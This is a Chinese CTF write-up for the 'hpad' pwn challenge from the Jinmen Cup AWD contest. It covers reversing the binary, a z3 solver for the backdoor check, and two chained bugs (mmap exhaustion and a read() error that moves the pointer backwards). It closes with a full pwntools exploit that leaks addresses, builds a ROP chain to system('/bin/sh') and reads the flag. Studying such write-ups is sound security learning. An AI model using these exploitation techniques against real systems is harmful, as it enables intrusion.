津门杯线下AWD hpad Writeup

警告
本文最后更新于 2021-06-10,文中内容可能已过时。

hpad

题目一览

程序实现了三种堆块模式,对应着三种不同的申请模式。

图片

并且选择一种模式后,再也无法返回到这一层菜单,因此我们无需考虑到程序的联动操作,而是可以把题目分成三部分来单独分析。

他的实现比较复杂,这里主要提及我所发现的漏洞——来自功能3。

本文虽然是主要分析第三种管理方式,也暂时还没有发现其他管理方式存在的漏洞,但是建议各位读者也研究一下其代码,提升一下自己的代码分析能力。

这道题的Libc版本是: 2.31-0ubuntu9.2_amd64

修正Switch跳转表

在分析前,可以注意到IDA伪代码没能够成功识别出程序中的switch语句,我相信各位在之前的逆向分析过程中,也遇到过这样的问题,这里提供一种我的解决方法。

图片

IDA这样显示的主要原因就是因为没有识别出这段switch结构中所用的跳转表

图片

大概是因为IDA官方也知道自己的程序对于某些switch的识别存在问题,所以提供了一个自带的工具(Specify switch idiom)让我们来辅助IDA完成识别

图片

这一段内容的配置大家需要结合代码内容进行设置,我这里就不花大的篇幅来讲如何配置。

以下是我的配置内容,读者可以参考一下

图片

漏洞分析

图片

稍微调整符号并配置识别Switch跳转表这对于我们分析功能提供了许多的便利。

在这部分代码中,我们很容易的就可以看到当我们输入666的时候可以跳转到程序的backdoor函数,这一般都是必须会用到的重要功能,一般这个函数的内容可以辅助我们找到程序的漏洞的大致方向。

backdoor函数

这个函数的内容函数比较清晰的

图片

backdoor 函数实际上在做的就是读取8个字节的随机数,然后把随机数使用encode函数进行加密,并且输出加密后的内容,要求你回答加密前的内容并进行校验。

图片

如果回答正确就可以获得一个free_list的地址,这个地址存放在bss段上,我们也可以借此来泄露出PIE基址。

encode函数

所以我们现在需要来分析encode函数的操作内容

图片

这个encode函数实际是提供了一个复杂的方程,我一眼也看不出什么端倪来。

所以在比赛过程中,使用z3来解决这个问题应该是比较好的选择

这部分内容,我在比赛过程中卡了好一段时间,问题就出在了题目是使用逻辑左移和逻辑右移,但是如果把上述代码直接复制到z3中,z3默认的右移操作符(»)对应的是算数右移,因此就导致了计算的误差,最终无法计算出正确的结果。

在比赛过程中是小蓝蓝师傅帮助解决的(orz),我因为对这部分内容不够了解,甚至打算使用莽夫的方式,不断爆破攻击,直到一次计算出有解。

图片

但是爆破攻击会浪费的时间会特别多,同时这对于批量攻击脚本的编写也是一种挑战。因此我在这里想要稍微的介绍一下这部分知识。

逻辑右移和算数右移

以下用 移动1位操作来说明这三种移位方式的不同处,移动n位的操作以此可推

逻辑左移:所有位往左移动1位,直接丢弃最高位,在最低位补0

逻辑右移:所有位往右移动1位,直接丢弃最低位,在最高位补0

算数右移:所有位往右移动1位,直接丢弃最低位,如果是负数,最高位(符号位)补1;如果是正数,最高位(符号位)补0

根据上面的操作可以看出,在无论正负的情况下,符号位不会影响到左移操作,因此左移与有无符号无关,操作都是使用逻辑左移。

汇编方面:

逻辑左移:shl

逻辑右移:shr

算数右移:sar

Z3 Python操作符:

有符号无符号
<ULT
<=ULE
>UGT
>=UGE
/UDiv
%URem
»LShR
««

Solver脚本

1
2
3
4
5
6
7
solver = Solver()
a1 = BitVec('a1', 64)
v1 = (LShR((a1 ^ (32 * a1)), 13)) ^ a1 ^ (32 * a1)
solver.add((LShR((v1 ^ (v1 << 29)), 15) ^ v1 ^ (v1 << 29)) == int(q, 16))
solver.check()
ans = solver.model()
sh.send(p64(ans[a1].as_long()))

漏洞1

这道题是先使用mmap申请一块0x1000长度的空间,然后自主管理这段空间,而问题也在于这个0x1000是有限的长度,是会被分配干净的,程序并没有做分配完之后的相关逻辑操作。

因此也导致了漏洞的存在,漏洞就在于以下代码中(0x0000000000001890)

图片

简单的来说就是,没有判定将要申请的长度是否大于现有的剩余空间,这就会造成当前申请出来的堆块,而可能实际空间没有那么多。也就是在读入数据的过程中,可能会超出mmap申请的0x1000长度,从而引发错误,这个错误会造成读入失败,但是具体会发生什么,我们不得而知。

漏洞2

看到了上面的漏洞之后,也算是有了个大概的方向,我们想办法能够触发这个漏洞,那接下来需要分析的就是read_content函数(0x00000000000014C0)

这个漏洞相当的隐蔽,也需要足够的逻辑分析能力才能找到。

图片

漏洞就在以上代码中,读者可以尝试着先观察一下,思考在什么情况下这段代码会存在问题。

没错,当read函数内部出现错误,也就是返回了0xFFFFFFFFFFFFFFFF的时候,这段代码就存在问题。

也就是说,在代码中的read_size = -1时,就会执行 i += read_size(i = i - 1),让读取的位置往回走1个字节,这样我们就可以从预期指针之上开始读取数据,就达到向上溢出的目的。

同时,这段代码在一般的错误的时候可能就会陷入一个死循环(一直产生异常),但是在这题中,配合了上面的漏洞,且两者结合起来,最后却能够巧妙的利用!

但是我们不知道在这个read读取超过了mmap申请的size之后会发生什么,于是我猜测:

这个错误在read函数内会被处理,并且返回-1,同时仍然记录着本次的输入,等待下一次再次调用read的时候读入这部分的内容。

并且编写以下代码来验证以上的猜想

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <sys/mman.h>
#include <stdio.h>
#include <memory.h>
 
int main(int argc, char *argv[])
{
	char *m;
	m = (char *)mmap(0x20000000, 0x1000, 3, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
	if (m == MAP_FAILED)
	{
		perror("map mem");
		m = NULL;
		return 0;
	}
	
	int num1 = read(0, m + 0xFF0, 0x100);
	printf("%d\n", num1);
	int num2 = read(0, m, 0x100);
	printf("%d\n", num2);
	munmap(m, 0x1000);
	return 0;
}

我们输入内容 ‘a’ * 0x10 + 换行 的时候,程序给出的运行结果是

1
2
3
4
wjh@ubuntu:~/Desktop$ ./a.out
aaaaaaaaaaaaaaaa
-1
17

和预想的结果一致,证明我们的猜想是正确的 注意:读者在使用gdb调试的时候,第一次read读入失败的内容会被gdb的输入命令窗口吞掉,所以就不会被读入到第二次read中了,所以可能会在第二个read处等待输入。

结合利用

图片

在程序的malloc函数中,我们发现有一个函数会遍历释放的堆块链表,并且从链表头部依次往下寻找,直到找到一个和申请size相同的释放堆块就返回,如果没找到就会从剩余空间中申请。

而我们通过这两个漏洞的结合,就得到了一个向上溢出的机会,我们可以利用这个链表,向上溢出到Remove堆块后的堆块链上的指针,并且指向bss段上来记录堆块地址的空间,因为得到这一段空间就相当于得到了任意读写权限。

而我们如果要申请出这一段空间,那么首先要符合的要求就是size相同,我们这里考虑利用程序在初始化中的\x7f来作为size标志(就像绕过fastbins size check一样),这样在我们申请0x68大小的堆块的时候,就可以取出我们伪造的堆块。

图片

图片

图片

任意读写后的攻击方法

有了任意读写权限后,接下来应该就有很多种做法了。

因为程序没有用到glibc中的堆,所以打__malloc_hook和__free_hook是不可取的。

并且程序使用exit退出,也无法使用IO_FILE来打。

我们这里可以考虑用exit hook 或者修改栈的方式,但是由于程序有edit只能修改0x10字节的限制,所以两种方法都会比较麻烦一些。

EXP

我的exp用的是使用泄露栈地址,再构建rop的方式来getshell。

EXP中包含了我修改后的LibcSearcher库,用来解决我平时在使用LibcSearcher过程中遇到的问题,我就暂时叫他LibcSearcherEx吧。

详细介绍和安装见:https://github.com/wjhwjhn/LibcSearcher

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
from pwn import *
from LibcSearcher import *
from z3 import *
elf = None
libc = None
file_name = "./hpad"
def get_file():
    global elf
    context.binary = file_name
    elf = context.binary
def get_libc():
    global libc
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address
def get_flag(sh):
    sh.recvrepeat(0.3)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    else:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    if stop:
        raw_input()
def heapbase(sh):
    if args['REMOTE']:
        return 0
    infomap = os.popen("cat /proc/{}/maps".format(sh.pid)).read()
    data = re.search(".*\[heap\]", infomap)
    if data:
        heapaddr = data.group().split("-")[0]
        return int(heapaddr, 16)
    else:
        return 0
def libcbase():
    if args['REMOTE']:
        return 0
    infomap = os.popen("cat /proc/{}/maps".format(sh.pid)).read()
    data = re.search(".*libc.*\.so", infomap)
    if data:
        libcaddr = data.group().split("-")[0]
        return int(libcaddr, 16)
    else:
        return 0
def Attack(sh=None, ip=None, port=None):
    pwn(sh)
    flag = get_flag(sh)
    return flag
def set_libc():
    os.system('patchelf --set-interpreter libc/ld.so --set-rpath libc/ ' + file_name)
def choice(sh, idx):
    sh.sendlineafter("Choice", str(idx))
def add(sh, size, content):
    choice(sh, 1)
    sh.sendlineafter("Size:", str(size))
    sh.sendlineafter("Content:", content)
def delete(sh, idx):
    choice(sh, 3)
    sh.sendlineafter("Index: ", str(idx))
def show(sh, idx):
    choice(sh, 2)
    sh.sendlineafter("Index: ", str(idx))
def edit(sh, idx, content):
    choice(sh, 4)
    sh.sendlineafter("Index: ", str(idx))
    if len(content) < 0x10:
        content += '\n'
    sh.sendafter("Content:", content)
def pwn(sh):
    global libc, elf
    context.log_level = "debug"
    # get_libc()
    # get_file()
    choice(sh, 3)
    choice(sh, 666)
    
    sh.recvuntil('question: ')
    que = sh.recvuntil('\n')
    q = hex(int(que))
    solver = Solver()
    a1 = BitVec('a1', 64)
    v1 = (LShR((a1 ^ (32 * a1)), 13)) ^ a1 ^ (32 * a1)
    solver.add((LShR((v1 ^ (v1 << 29)), 15) ^ v1 ^ (v1 << 29)) == int(q, 16))
    solver.check()
    ans = solver.model()
    sh.send(p64(ans[a1].as_long()))
    
    sh.recvuntil('0x')
    pie_addr = int(sh.recvuntil('\n', drop=True, timeout=1), 16) - 0x6140
    if pie_addr == 0:
        raise EOFError
    log.success("pie_addr:\t" + hex(pie_addr))
    
    add(sh, 0xF00, "a")  # 0
    add(sh, 0x40, "b")  # 1
    add(sh, 0x40, "c")  # 2
    delete(sh, 1)
    delete(sh, 2)
    add(sh, 0x100, p64(0x50) + p64(pie_addr + 0x6125) + '\x00' * (0x90 - 1))  # 1
    add(sh, 0x40, "d")  # 2
    add(sh, 0x60, '\x00' * 0x2B + p64(pie_addr + 0x5f28) + p64(pie_addr + 0x6170))  # 3 got@free
    
    #leak libc
    show(sh, 0)
    free_addr = get_address(sh, True, info="free_addr:\t")
    libc = LibcSearcher('free', free_addr, 2)
    edit(sh, 1, p64(libc.sym['__environ']))
    
    #leak stack_addr
    show(sh, 2)
    stack_addr = get_address(sh, True, offset=-0x150, info="ret_addr:\t")
    pop_rdi_addr = pie_addr + 0x2C93
    edit(sh, 1, p64(stack_addr) + p64(stack_addr + 0x10))
    edit(sh, 3, p64(pop_rdi_addr + 1) + p64(libc.sym['system']))
    # get_gdb(sh, "b *" + hex(pie_addr + 0x000000000001C88))
    edit(sh, 2, p64(pop_rdi_addr) + p64(libc.sym['str_bin_sh']))
    sh.interactive()
if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh)
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

总结

这道题不算是这次比赛中最难的题目,但是其利用的精妙以及两个漏洞的结合利用令我受益匪浅。这两个漏洞,单独拿出一个来都不足以达到getshell的效果,但是两者结合居然有如此强大的威力。结合这几次的AWD或AWDP比赛可以发现,现在PWN题目对RE的要求已经是越来越高了,希望读者可以仔细的研究这道题的代码逻辑,以求在比赛中可以快速的解题。(在比赛中我就没做出来55555,希望下次能够给力一点!)

0%